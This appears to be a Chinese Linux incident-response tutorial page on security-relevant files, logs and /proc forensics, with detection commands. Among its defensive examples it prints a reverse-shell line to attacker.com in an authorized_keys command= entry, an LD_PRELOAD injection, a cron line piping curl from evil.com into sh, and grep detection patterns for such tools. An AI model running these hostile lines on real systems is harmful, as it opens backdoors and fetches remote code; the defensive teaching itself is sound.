1. 1. Linux 系统基础与关键目录 (System Fundamentals & Key Directories for IR)
    1. 1.1. 1. 用户与认证相关文件
      1. 1.1.1. 1.1 /etc/passwd 详解
      2. 1.1.2. 1.2 /etc/shadow 详解
      3. 1.1.3. 1.3 /etc/group 和 /etc/gshadow
      4. 1.1.4. 1.4 /etc/sudoers 和 /etc/sudoers.d/
      5. 1.1.5. 1.5 /etc/login.defs
    2. 1.2. 2. SSH 相关文件
      1. 1.2.1. 2.1 /etc/ssh/sshd_config
      2. 1.2.2. 2.2 ~/.ssh/authorized_keys
      3. 1.2.3. 2.3 ~/.ssh/known_hosts
      4. 1.2.4. 2.4 /etc/ssh/ssh_host_* 主机密钥
    3. 1.3. 3. 日志目录 /var/log/
      1. 1.3.1. 3.1 日志文件总览
      2. 1.3.2. 3.2 auth.log / secure:认证日志
      3. 1.3.3. 3.3 syslog / messages:系统日志
      4. 1.3.4. 3.4 wtmp / btmp / lastlog:登录记录(二进制格式)
      5. 1.3.5. 3.5 kern.log / dmesg:内核日志
      6. 1.3.6. 3.6 cron 日志
      7. 1.3.7. 3.7 各服务日志
    4. 1.4. 4. /proc 虚拟文件系统(重点)
      1. 1.4.1. 4.1 /proc/[pid]/exe - 进程可执行文件
      2. 1.4.2. 4.2 /proc/[pid]/cmdline - 启动命令行
      3. 1.4.3. 4.3 /proc/[pid]/cwd - 工作目录
      4. 1.4.4. 4.4 /proc/[pid]/fd/ - 文件描述符
      5. 1.4.5. 4.5 /proc/[pid]/environ - 环境变量
      6. 1.4.6. 4.6 /proc/[pid]/maps - 内存映射
      7. 1.4.7. 4.7 /proc/[pid]/status - 进程状态信息
      8. 1.4.8. 4.8 /proc/net/tcp - 网络连接
      9. 1.4.9. 4.9 通过 /proc 发现隐藏进程
      10. 1.4.10. 4.10 实战演示:通过 /proc 分析一个可疑进程
    5. 1.5. 5. 关键系统目录
      1. 1.5.1. 5.1 临时目录:攻击者的最爱
      2. 1.5.2. 5.2 计划任务目录
      3. 1.5.3. 5.3 服务配置目录
      4. 1.5.4. 5.4 动态链接器配置
      5. 1.5.5. 5.5 PAM 认证模块
      6. 1.5.6. 5.6 全局 Shell 配置
    6. 1.6. 6. 文件权限深入
      1. 1.6.1. 6.1 标准权限 rwx 复习
      2. 1.6.2. 6.2 SUID / SGID / Sticky Bit 详解
      3. 1.6.3. 6.3 扩展属性:lsattr / chattr
      4. 1.6.4. 6.4 ACL:getfacl / setfacl
    7. 1.7. 7. 文件时间戳
      1. 1.7.1. 7.1 三种时间戳的区别
      2. 1.7.2. 7.2 stat 命令详解
      3. 1.7.3. 7.3 时间戳篡改(Timestomping)
      4. 1.7.4. 7.4 noatime 挂载选项的影响
    8. 1.8. 8. 实战练习
      1. 1.8.1. 练习场景:被入侵系统排查
      2. 1.8.2. 排查清单总结
    9. 1.9. 导航

Linux应急响应 - 01 系统基础与关键目录

Linux 系统基础与关键目录 (System Fundamentals & Key Directories for IR)

应急响应的第一步不是跑工具,而是理解你面前的系统。本页系统性地梳理 Linux 中与安全相关的关键文件和目录,是后续所有排查工作的基础。

前置要求:具备基本 Linux 命令行操作能力

关联页面:Linux应急响应/02-进程与网络排查、Linux应急响应/03-持久化机制排查、Linux应急响应/04-日志分析

1. 用户与认证相关文件

1.1 /etc/passwd 详解

/etc/passwd 是 Linux 中最核心的用户数据库文件,所有用户都可以读取

文件格式:每行代表一个用户,共 7 个字段,以冒号 : 分隔

字段序号 字段名称 说明 示例
1 用户名 登录名 root
2 密码占位 x 表示密码存储在 /etc/shadow x
3 UID 用户 ID,0 为 root 权限 0
4 GID 主组 ID 0
5 GECOS 用户描述信息(全名等) root
6 主目录 用户的 home 目录 /root
7 Shell 登录时使用的 shell /bin/bash

正常条目示例

1
2
3
4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
lucy:x:1000:1000:Lucy:/home/lucy:/bin/bash

IR 排查要点:发现异常账户

检查 UID 为 0 的账户(除 root 外不应该有其他 UID 0 账户)

1
2
3
4
5
6
7
8
9
# 查找所有 UID 为 0 的账户
awk -F: '$3 == 0 {print $0}' /etc/passwd

# 正常输出应该只有:
# root:x:0:0:root:/root:/bin/bash

# 异常示例 - 攻击者创建了一个 UID 0 的后门账户:
# root:x:0:0:root:/root:/bin/bash
# admin:x:0:0::/home/admin:/bin/bash <-- 危险!

检查异常 Shell(系统账户不应该有可登录的 shell)

1
2
3
4
# 查找所有拥有可登录 shell 的用户
awk -F: '$7 != "/usr/sbin/nologin" && $7 != "/bin/false" && $7 != "/sbin/nologin" {print $1, $7}' /etc/passwd

# 系统账户如 daemon, bin, sys 等不应该有 /bin/bash 或 /bin/sh

检查没有密码的账户(第 2 个字段为空表示无需密码即可登录)

1
2
# 检查密码字段为空的账户
awk -F: '$2 == "" {print $1, "没有设置密码!"}' /etc/passwd

检查近期新增的用户(按 UID 排序,看最后添加的)

1
2
3
4
5
# 按 UID 排序查看,新增用户通常 UID 较大
sort -t: -k3 -n /etc/passwd | tail -10

# 对比备份或 package 的 passwd 文件
diff /etc/passwd /etc/passwd-

检查 home 目录异常的用户

1
2
# 查找 home 目录在异常位置的用户
awk -F: '$6 !~ /^\/(home|root|var|usr|run|nonexistent)/ && $3 >= 1000 {print $1, $6}' /etc/passwd

1.2 /etc/shadow 详解

/etc/shadow 存储用户的加密密码和密码策略,只有 root 可读

文件格式:每行 9 个字段,以冒号 : 分隔

字段序号 字段名称 说明
1 用户名 与 /etc/passwd 对应
2 密码哈希 加密后的密码
3 最后修改日期 从 1970-01-01 算起的天数
4 最小间隔 两次修改密码之间的最少天数
5 最大有效期 密码有效的最大天数
6 警告期 过期前多少天提醒用户
7 不活动期 过期后多少天账户被禁用
8 过期日期 账户过期的绝对日期
9 保留字段 暂未使用

密码哈希格式详解

密码哈希的格式为 $id$salt$hash,其中 $id$ 表示哈希算法:

标识 算法 安全性 说明
$1$ MD5 不安全 已过时,容易被破解
$2a$ / $2b$ / $2y$ Blowfish (bcrypt) 较安全 部分系统使用
$5$ SHA-256 安全 推荐的最低标准
$6$ SHA-512 安全 现代 Linux 默认
$y$ yescrypt 非常安全 最新系统如 Debian 12/Ubuntu 24.04 默认
1
2
3
4
5
6
7
8
9
# shadow 条目示例
root:$6$rounds=5000$Kq3Xf9Yw$aBcDeFgH...长哈希值...:19500:0:99999:7:::
lucy:$y$j9T$salt$hash:19650:0:99999:7:::

# 密码字段的特殊值:
# * - 账户从未设置密码(系统账户常见)
# ! - 账户被锁定
# !! - 密码从未被设置(新建用户)
# !$6$... - 被锁定但保留了密码哈希(前面加了!)

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 检查密码字段为空的用户(空密码可直接登录!)
sudo awk -F: '$2 == "" {print $1, "空密码!"}' /etc/shadow

# 2. 检查使用弱哈希算法的账户
sudo awk -F: '$2 ~ /^\$1\$/ {print $1, "使用MD5哈希,不安全!"}' /etc/shadow

# 3. 检查密码最近被修改的账户(可能是攻击者改了密码)
sudo awk -F: '{if ($3 != "" && $3 > 19600) print $1, "密码修改于", $3, "天(距1970)"}' /etc/shadow

# 4. 将天数转换为日期
# 例如字段值为 19650,换算方法:
date -d "1970-01-01 + 19650 days" +%Y-%m-%d
# 输出:2023-10-30

# 5. 检查被锁定的账户(可能是攻击者锁了管理员)
sudo awk -F: '$2 ~ /^!/ {print $1, "账户被锁定"}' /etc/shadow

1.3 /etc/group 和 /etc/gshadow

/etc/group 格式组名:密码:GID:组成员列表

1
2
3
4
5
# 查看示例
root:x:0:
sudo:x:27:lucy,admin
docker:x:999:lucy
www-data:x:33:

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 检查 sudo 组成员(拥有 sudo 权限的用户)
grep -E '^(sudo|wheel):' /etc/group

# 2. 检查 docker 组成员(docker 组相当于 root 权限!)
grep '^docker:' /etc/group

# 3. 检查 root 组成员
grep '^root:' /etc/group

# 4. 查看某个可疑用户属于哪些组
groups suspicious_user
id suspicious_user

/etc/gshadow 存储组密码(很少使用),格式:组名:加密密码:管理员:组成员

1.4 /etc/sudoers 和 /etc/sudoers.d/

sudoers 文件控制谁可以使用 sudo 执行特权命令

关键配置格式

1
2
3
4
5
6
7
# 格式:用户 主机=(以谁身份) 命令
root ALL=(ALL:ALL) ALL
%sudo ALL=(ALL:ALL) ALL # % 表示组
lucy ALL=(ALL) NOPASSWD: ALL # 危险!无需密码即可 sudo

# 更精细的配置
deploy ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart myapp

NOPASSWD 的危险性

NOPASSWD 意味着用户执行 sudo 不需要输入密码

攻击者一旦获取了该用户的 shell,就直接拥有 root 权限

很多运维人员为了方便会配置 NOPASSWD: ALL,这是极大的安全隐患

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
# 1. 检查 sudoers 文件中的 NOPASSWD 配置
sudo grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/ 2>/dev/null

# 2. 查看 sudoers.d 目录下的所有文件(攻击者可能在这里添加后门)
ls -la /etc/sudoers.d/

# 3. 检查每个文件的内容
for f in /etc/sudoers.d/*; do echo "=== $f ==="; sudo cat "$f"; done

# 4. 检查文件修改时间
stat /etc/sudoers /etc/sudoers.d/*

1.5 /etc/login.defs

该文件定义了系统范围的密码策略和用户创建默认值

关键配置项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 密码有效期策略
PASS_MAX_DAYS 99999 # 密码最大有效天数(99999 基本等于永不过期)
PASS_MIN_DAYS 0 # 两次修改密码的最小间隔
PASS_MIN_LEN 8 # 密码最小长度
PASS_WARN_AGE 7 # 过期前警告天数

# UID 范围
UID_MIN 1000 # 普通用户最小 UID
UID_MAX 60000 # 普通用户最大 UID
SYS_UID_MIN 100 # 系统用户最小 UID
SYS_UID_MAX 999 # 系统用户最大 UID

# 加密方法
ENCRYPT_METHOD SHA512 # 密码哈希算法

IR 排查要点:检查该文件是否被修改,特别是 ENCRYPT_METHOD 是否被降级为 MD5

2. SSH 相关文件

2.1 /etc/ssh/sshd_config

SSH 服务端配置文件,控制着远程登录的安全策略

关键安全配置项

配置项 推荐值 说明
PermitRootLogin noprohibit-password 是否允许 root 直接 SSH 登录
PasswordAuthentication no 是否允许密码认证(建议仅用密钥)
PubkeyAuthentication yes 是否启用公钥认证
AuthorizedKeysFile .ssh/authorized_keys 公钥文件的路径
PermitEmptyPasswords no 是否允许空密码登录
MaxAuthTries 3 最大认证尝试次数
AllowUsers / AllowGroups 按需配置 白名单
Port 非 22 监听端口
ListenAddress 指定 IP 监听地址
UsePAM yes 是否使用 PAM 认证
X11Forwarding no 是否允许 X11 转发

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 查看当前生效的关键配置
sudo sshd -T | grep -iE 'permitrootlogin|passwordauthentication|authorizedkeysfile|permitemptypasswords|pubkeyauthentication|usepam'

# 2. 检查配置文件是否被修改
stat /etc/ssh/sshd_config

# 3. 检查是否有额外的 Include 配置文件
grep -i 'include' /etc/ssh/sshd_config

# 4. 特别注意:AuthorizedKeysFile 是否指向异常位置
# 攻击者可能修改为指向自己控制的文件
grep AuthorizedKeysFile /etc/ssh/sshd_config

2.2 ~/.ssh/authorized_keys

该文件存储允许登录该用户的 SSH 公钥

标准格式

1
2
3
# 格式:选项(可选) 密钥类型 Base64编码的密钥 注释
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQ... user@hostname
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHj... admin@server

危险的 command= 选项

command= 选项可以限制该密钥只能执行特定命令,但也可以被攻击者利用

1
2
3
4
5
6
7
8
# 正常用途:限制密钥只能执行备份脚本
command="/usr/local/bin/backup.sh" ssh-rsa AAAAB3...

# 攻击者利用:绑定反弹 shell
command="/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" ssh-rsa AAAAB3...

# 更隐蔽的攻击:正常执行命令但同时启动后门
command="(/tmp/.backdoor &); $SSH_ORIGINAL_COMMAND" ssh-rsa AAAAB3...

其他可用选项(都可能被利用)

1
2
3
4
5
6
7
8
# 限制来源 IP
from="10.0.0.1,192.168.1.*" ssh-rsa AAAAB3...

# 环境变量
environment="LD_PRELOAD=/tmp/evil.so" ssh-rsa AAAAB3...

# 端口转发
permitopen="localhost:3306" ssh-rsa AAAAB3...

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 检查所有用户的 authorized_keys
for user_home in /home/* /root; do
if [ -f "$user_home/.ssh/authorized_keys" ]; then
echo "=== $user_home/.ssh/authorized_keys ==="
cat "$user_home/.ssh/authorized_keys"
stat "$user_home/.ssh/authorized_keys"
echo ""
fi
done

# 2. 特别注意带有 command= 的条目
grep -r 'command=' /home/*/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null

# 3. 检查文件权限(应为 600)
find /home -name authorized_keys -exec ls -la {} \;

2.3 ~/.ssh/known_hosts

记录了用户曾经连接过的 SSH 服务器的主机密钥指纹

IR 价值:可以揭示攻击者从这台机器横向移动(lateral movement)到了哪些服务器

1
2
3
4
5
6
7
# 现代系统默认对 known_hosts 做了哈希处理(HashKnownHosts yes)
# 哈希后的格式:
|1|Base64Salt=|Base64Hash= ssh-rsa AAAAB3...

# 未哈希的格式(旧系统或配置了 HashKnownHosts no):
192.168.1.100 ssh-rsa AAAAB3...
webserver.internal.com,10.0.0.50 ssh-ed25519 AAAAC3...

IR 排查要点

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 检查所有用户的 known_hosts(未哈希的情况下可以看到连接过的IP)
for user_home in /home/* /root; do
if [ -f "$user_home/.ssh/known_hosts" ]; then
echo "=== $user_home/.ssh/known_hosts ==="
cat "$user_home/.ssh/known_hosts"
fi
done

# 2. 统计连接过多少台主机
wc -l /root/.ssh/known_hosts

# 3. 如果未哈希,提取所有连接过的主机
awk '{print $1}' /root/.ssh/known_hosts | sort -u

2.4 /etc/ssh/ssh_host_* 主机密钥

这些是 SSH 服务器的身份标识密钥,如果被替换可能意味着中间人攻击

1
2
3
4
5
6
7
8
9
10
11
12
# 正常的主机密钥文件列表
ls -la /etc/ssh/ssh_host_*
# -rw------- root root ssh_host_ecdsa_key
# -rw-r--r-- root root ssh_host_ecdsa_key.pub
# -rw------- root root ssh_host_ed25519_key
# -rw-r--r-- root root ssh_host_ed25519_key.pub
# -rw------- root root ssh_host_rsa_key
# -rw-r--r-- root root ssh_host_rsa_key.pub

# IR 排查:检查密钥文件的修改时间
# 如果在安装系统之后被修改过,可能有问题
stat /etc/ssh/ssh_host_*_key

3. 日志目录 /var/log/

3.1 日志文件总览

以下表格列出了 IR 中最重要的日志文件:

日志文件 用途 Ubuntu/Debian CentOS/RHEL 格式
认证日志 登录、sudo、SSH 等认证事件 /var/log/auth.log /var/log/secure 文本
系统日志 系统级事件、服务状态 /var/log/syslog /var/log/messages 文本
内核日志 内核事件、硬件、防火墙 /var/log/kern.log /var/log/messages 文本
登录记录 成功登录的历史 /var/log/wtmp /var/log/wtmp 二进制
失败登录 登录失败的记录 /var/log/btmp /var/log/btmp 二进制
最后登录 每个用户最后登录时间 /var/log/lastlog /var/log/lastlog 二进制
Cron 日志 计划任务执行记录 /var/log/syslog /var/log/cron 文本
邮件日志 邮件服务日志 /var/log/mail.log /var/log/maillog 文本
启动日志 系统启动过程 /var/log/boot.log /var/log/boot.log 文本
审计日志 SELinux/审计事件 /var/log/audit/audit.log /var/log/audit/audit.log 文本
DPKG/YUM 软件包安装记录 /var/log/dpkg.log /var/log/yum.log 文本
Journal systemd 统一日志 journalctl journalctl 二进制

3.2 auth.log / secure:认证日志

这是 IR 中最重要的日志文件之一,记录了所有认证相关的事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# SSH 登录成功
Apr 2 10:15:23 server sshd[12345]: Accepted publickey for lucy from 192.168.1.100 port 52341 ssh2: RSA SHA256:xxxxx

# SSH 登录失败
Apr 2 10:16:01 server sshd[12346]: Failed password for root from 10.0.0.50 port 43210 ssh2
Apr 2 10:16:03 server sshd[12346]: Failed password for invalid user admin from 10.0.0.50 port 43210 ssh2

# sudo 使用记录
Apr 2 10:20:00 server sudo: lucy : TTY=pts/0 ; PWD=/home/lucy ; USER=root ; COMMAND=/bin/cat /etc/shadow

# 用户创建
Apr 2 11:00:00 server useradd[12400]: new user: name=backdoor, UID=0, GID=0, home=/root, shell=/bin/bash

# su 切换用户
Apr 2 11:05:00 server su: (to root) lucy on pts/0

IR 排查命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 查看 SSH 暴力破解(大量失败登录)
grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

# 2. 查看成功登录记录
grep 'Accepted' /var/log/auth.log | tail -20

# 3. 查看 sudo 操作记录
grep 'sudo:' /var/log/auth.log | grep 'COMMAND' | tail -20

# 4. 查看用户创建/删除操作
grep -E 'useradd|userdel|usermod|groupadd' /var/log/auth.log

# 5. 查看密码修改
grep 'passwd' /var/log/auth.log

3.3 syslog / messages:系统日志

记录系统服务的各种事件

1
2
3
4
5
6
7
8
# 查看服务启停
grep -E 'Started|Stopped|Failed' /var/log/syslog | tail -20

# 查看 cron 任务执行记录(Ubuntu 的 cron 日志在 syslog 中)
grep 'CRON' /var/log/syslog

# 查看网络相关事件
grep -iE 'network|interface|dhcp' /var/log/syslog | tail -20

3.4 wtmp / btmp / lastlog:登录记录(二进制格式)

这三个文件是二进制格式,不能直接用 cat 查看,需要专用命令

wtmp - 成功登录记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用 last 命令查看 wtmp
last -f /var/log/wtmp
# 输出示例:
# lucy pts/0 192.168.1.100 Wed Apr 2 10:15 still logged in
# root pts/1 10.0.0.50 Wed Apr 2 09:00 - 09:30 (00:30)
# reboot system boot 5.15.0-91-gen Wed Apr 1 08:00 still running

# 查看特定用户的登录历史
last lucy

# 显示IP地址(不截断)
last -i -a

# 查看重启记录
last reboot

btmp - 失败登录记录

1
2
3
4
5
6
7
8
# 使用 lastb 命令查看 btmp(需要 root 权限)
sudo lastb -f /var/log/btmp
# 输出示例:
# admin ssh:notty 10.0.0.50 Wed Apr 2 10:16 - 10:16 (00:00)
# root ssh:notty 10.0.0.50 Wed Apr 2 10:15 - 10:15 (00:00)

# 统计失败登录的来源 IP
sudo lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head -10

lastlog - 每个用户的最后登录时间

1
2
3
4
5
6
7
8
9
10
# 使用 lastlog 命令
lastlog
# 输出示例:
# Username Port From Latest
# root pts/1 10.0.0.50 Wed Apr 2 09:00:00 +0800 2026
# lucy pts/0 192.168.1.100 Wed Apr 2 10:15:23 +0800 2026
# daemon **Never logged in**

# 只显示最近登录过的用户
lastlog | grep -v 'Never'

#+BEGIN_WARNING
攻击者经常使用工具清除 wtmp/btmp 日志来掩盖痕迹。如果这些文件的大小异常小或修改时间可疑,要高度警惕。
#+END_WARNING

3.5 kern.log / dmesg:内核日志

记录内核级别的事件,包括硬件检测、驱动加载、iptables 日志等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看内核日志
dmesg | tail -50

# 查看带时间戳的内核日志
dmesg -T | tail -50

# 查看内核模块加载记录(攻击者可能加载 rootkit 内核模块)
dmesg | grep -iE 'module|insmod|modprobe'

# 查看 iptables/nftables 防火墙日志
grep -i 'iptables\|nftables\|BLOCKED\|DROP' /var/log/kern.log

# 查看 OOM (Out of Memory) 事件
dmesg | grep -i 'oom\|killed process'

3.6 cron 日志

1
2
3
4
5
6
7
8
9
10
11
12
# CentOS/RHEL:专用的 cron 日志
cat /var/log/cron

# Ubuntu/Debian:cron 日志在 syslog 中
grep 'CRON' /var/log/syslog

# 输出示例:
# Apr 2 01:00:01 server CRON[5678]: (root) CMD (/usr/local/bin/backup.sh)
# Apr 2 */5 * * * server CRON[5680]: (www-data) CMD (curl http://evil.com/c2|sh)

# IR 排查:查找可疑的 cron 执行
grep 'CRON' /var/log/syslog | grep -iE 'curl|wget|python|perl|bash|nc|ncat'

3.7 各服务日志

Web 服务器日志

1
2
3
4
5
6
7
8
9
10
# Apache
/var/log/apache2/access.log # 访问日志
/var/log/apache2/error.log # 错误日志

# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

# 查看可疑的 Web 请求(Webshell、SQL 注入等)
grep -iE 'eval|exec|system|cmd|shell|union.*select|\.\./' /var/log/nginx/access.log

数据库日志

1
2
3
4
5
6
# MySQL/MariaDB
/var/log/mysql/error.log
/var/log/mysql/mysql.log # 通用查询日志(通常关闭)

# PostgreSQL
/var/log/postgresql/postgresql-*-main.log

应用服务日志

1
2
3
4
5
6
7
# Tomcat
/var/log/tomcat*/catalina.out
/var/log/tomcat*/localhost_access_log.*.txt

# Docker
/var/log/docker.log
# 或使用:docker logs <container_id>

Systemd Journal 统一日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看所有日志
journalctl

# 按服务筛选
journalctl -u sshd
journalctl -u nginx

# 按时间范围筛选
journalctl --since "2026-04-01 00:00:00" --until "2026-04-02 23:59:59"

# 查看内核日志
journalctl -k

# 按优先级筛选(0=emerg 到 7=debug)
journalctl -p err

4. /proc 虚拟文件系统(重点)

/proc 是 IR 分析师的宝库。它是内核在内存中维护的虚拟文件系统,反映了系统的实时运行状态。即使攻击者删除了磁盘上的恶意文件,/proc 中仍然保留着正在运行的进程信息。

4.1 /proc/[pid]/exe - 进程可执行文件

这是一个符号链接,指向进程对应的可执行文件

即使原始文件已被删除,仍然可以通过这个链接恢复可执行文件!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看进程 1234 对应的可执行文件
ls -la /proc/1234/exe
# 输出:/proc/1234/exe -> /usr/sbin/sshd

# 如果原始文件被删除,会显示 (deleted)
ls -la /proc/5678/exe
# 输出:/proc/5678/exe -> /tmp/.hidden_malware (deleted)

# 重要技巧:恢复被删除的恶意文件
cp /proc/5678/exe /tmp/recovered_malware

# 计算恢复文件的哈希值用于威胁情报查询
md5sum /tmp/recovered_malware
sha256sum /tmp/recovered_malware

4.2 /proc/[pid]/cmdline - 启动命令行

记录进程启动时的完整命令行参数

1
2
3
4
5
6
7
8
9
# 查看进程的启动命令(参数以 NULL 字符分隔)
cat /proc/1234/cmdline | tr '\0' ' '
# 输出:/usr/sbin/sshd -D

# 注意:攻击者可以修改 cmdline 来伪装进程
# 例如将恶意程序伪装成正常进程名
# 对比 cmdline 和 exe 可以发现伪装:
ls -la /proc/1234/exe # 实际的可执行文件
cat /proc/1234/cmdline | tr '\0' ' ' # 显示的命令行(可能被篡改)

4.3 /proc/[pid]/cwd - 工作目录

指向进程的当前工作目录

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看进程的工作目录
ls -la /proc/1234/cwd
# 输出:/proc/1234/cwd -> /tmp/.hidden_dir

# IR 价值:如果进程的工作目录在 /tmp、/dev/shm 等临时目录,要警惕
# 批量检查所有进程的工作目录
for pid in /proc/[0-9]*/; do
cwd=$(readlink "${pid}cwd" 2>/dev/null)
exe=$(readlink "${pid}exe" 2>/dev/null)
if echo "$cwd" | grep -qE '^/(tmp|dev/shm|var/tmp)'; then
echo "PID $(basename $pid): exe=$exe cwd=$cwd"
fi
done

4.4 /proc/[pid]/fd/ - 文件描述符

列出进程打开的所有文件、管道、套接字等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看进程打开的所有文件描述符
ls -la /proc/1234/fd/
# 输出示例:
# 0 -> /dev/null (标准输入)
# 1 -> /var/log/app.log (标准输出)
# 2 -> /var/log/app.log (标准错误)
# 3 -> socket:[54321] (网络连接)
# 4 -> /tmp/.cache_data (deleted) (已删除的文件)
# 5 -> pipe:[12345] (管道)

# IR 价值:
# 1. 可以发现进程打开的网络连接
# 2. 可以恢复被删除但仍被进程持有的文件
cp /proc/1234/fd/4 /tmp/recovered_deleted_file

# 3. 配合 lsof 使用
lsof -p 1234

4.5 /proc/[pid]/environ - 环境变量

记录进程的环境变量,以 NULL 字符分隔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 查看进程的环境变量
cat /proc/1234/environ | tr '\0' '\n'

# IR 重点检查项:
# 1. LD_PRELOAD - 可能被用于注入恶意共享库
cat /proc/1234/environ | tr '\0' '\n' | grep LD_PRELOAD

# 2. LD_LIBRARY_PATH - 可能被修改以加载恶意库
cat /proc/1234/environ | tr '\0' '\n' | grep LD_LIBRARY_PATH

# 3. PATH - 可能被修改以优先执行恶意程序
cat /proc/1234/environ | tr '\0' '\n' | grep ^PATH

# 批量检查所有进程是否有 LD_PRELOAD
for pid in /proc/[0-9]*/; do
env_file="${pid}environ"
if [ -r "$env_file" ]; then
result=$(cat "$env_file" 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD)
if [ -n "$result" ]; then
echo "PID $(basename $pid): $result"
fi
fi
done

4.6 /proc/[pid]/maps - 内存映射

显示进程的虚拟内存布局,包括加载的共享库

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看进程的内存映射
cat /proc/1234/maps
# 输出示例:
# 00400000-00452000 r-xp 00000000 08:01 123456 /usr/bin/myapp
# 7f1234560000-7f1234720000 r-xp 00000000 08:01 789012 /lib/x86_64-linux-gnu/libc-2.31.so
# 7f1234890000-7f1234892000 r-xp 00000000 08:01 345678 /tmp/.evil.so <-- 可疑!

# IR 排查:查找加载了异常共享库的进程
# 1. 查找从 /tmp 等异常路径加载的库
grep -l '/tmp/\|/dev/shm/\|/var/tmp/' /proc/*/maps 2>/dev/null

# 2. 查找特定进程是否加载了可疑库
cat /proc/1234/maps | grep -vE '/lib/|/usr/lib/|/lib64/'

4.7 /proc/[pid]/status - 进程状态信息

提供进程的详细状态,包括 UID、GID、线程数等

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /proc/1234/status
# 关键字段:
# Name: sshd 进程名
# State: S (sleeping) 进程状态
# Pid: 1234 进程 ID
# PPid: 1 父进程 ID
# Uid: 0 0 0 0 Real/Effective/Saved/FS UID
# Gid: 0 0 0 0 Real/Effective/Saved/FS GID
# Threads: 1 线程数
# VmRSS: 1234 kB 物理内存使用

# IR 排查:注意 Uid 和 Gid 字段
# 如果一个普通用户的程序却以 UID 0 运行,可能是提权

4.8 /proc/net/tcp - 网络连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查看所有 TCP 连接(原始格式)
cat /proc/net/tcp
# 输出格式(十六进制):
# sl local_address rem_address st tx_queue rx_queue ...
# 0: 0100007F:0050 00000000:0000 0A ... (127.0.0.1:80 LISTEN)

# 状态码对照:
# 01 = ESTABLISHED
# 02 = SYN_SENT
# 06 = TIME_WAIT
# 0A = LISTEN

# 实际使用中更推荐用 ss 或 netstat:
ss -tulnp
netstat -tulnp

4.9 通过 /proc 发现隐藏进程

某些 rootkit 会隐藏进程,使其不出现在 ps 的输出中

但 /proc 目录下的数字目录仍然存在(除非是内核级 rootkit)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 方法1:对比 ps 输出和 /proc 目录
# 获取 ps 看到的所有 PID
ps -eo pid --no-headers | sort -n > /tmp/ps_pids.txt

# 获取 /proc 中实际存在的所有 PID
ls -d /proc/[0-9]* | awk -F/ '{print $3}' | sort -n > /tmp/proc_pids.txt

# 对比差异 - 在 /proc 中存在但 ps 看不到的就是隐藏进程
diff /tmp/ps_pids.txt /tmp/proc_pids.txt

# 方法2:直接遍历 /proc 并尝试访问
for pid in $(ls -d /proc/[0-9]* 2>/dev/null | awk -F/ '{print $3}'); do
if ! ps -p "$pid" > /dev/null 2>&1; then
exe=$(readlink /proc/$pid/exe 2>/dev/null)
echo "隐藏进程! PID=$pid EXE=$exe"
fi
done

4.10 实战演示:通过 /proc 分析一个可疑进程

场景:你发现系统上有一个可疑进程 PID 31337,以下是完整分析步骤:

第一步:基本信息收集

1
2
3
4
5
6
7
8
9
10
11
# 进程名称和状态
cat /proc/31337/status | head -10
# Name: kworker/0:2 <-- 伪装成内核线程!
# State: S (sleeping)
# Pid: 31337
# PPid: 1
# Uid: 0 0 0 0 <-- 以 root 运行

# 但真正的可执行文件是什么?
ls -la /proc/31337/exe
# /proc/31337/exe -> /var/tmp/.cache/.update (deleted) <-- 已被删除的可疑文件

第二步:查看启动命令和工作目录

1
2
3
4
5
cat /proc/31337/cmdline | tr '\0' ' '
# [kworker/0:2] <-- 故意伪装成内核线程名

ls -la /proc/31337/cwd
# /proc/31337/cwd -> /var/tmp/.cache <-- 工作目录在可疑位置

第三步:检查打开的文件和网络连接

1
2
3
4
5
6
7
8
9
ls -la /proc/31337/fd/
# 0 -> /dev/null
# 1 -> /dev/null
# 2 -> /dev/null <-- 标准输入输出都重定向到 /dev/null(典型后门行为)
# 3 -> socket:[99999] <-- 网络连接
# 4 -> /var/tmp/.cache/config.enc <-- 加密配置文件

# 通过 socket inode 查找具体连接
grep '99999' /proc/31337/net/tcp

第四步:检查环境变量和内存映射

1
2
3
4
5
cat /proc/31337/environ | tr '\0' '\n'
# LD_PRELOAD=/var/tmp/.cache/hook.so <-- 使用了 LD_PRELOAD!

cat /proc/31337/maps | grep -vE '/lib/|/usr/lib/'
# 7f1234000000-7f1234002000 r-xp /var/tmp/.cache/hook.so <-- 加载了可疑共享库

第五步:恢复被删除的恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
# 恢复主程序
cp /proc/31337/exe /tmp/evidence/malware_main

# 恢复关联文件
cp /proc/31337/fd/4 /tmp/evidence/config_enc

# 计算哈希值
sha256sum /tmp/evidence/malware_main
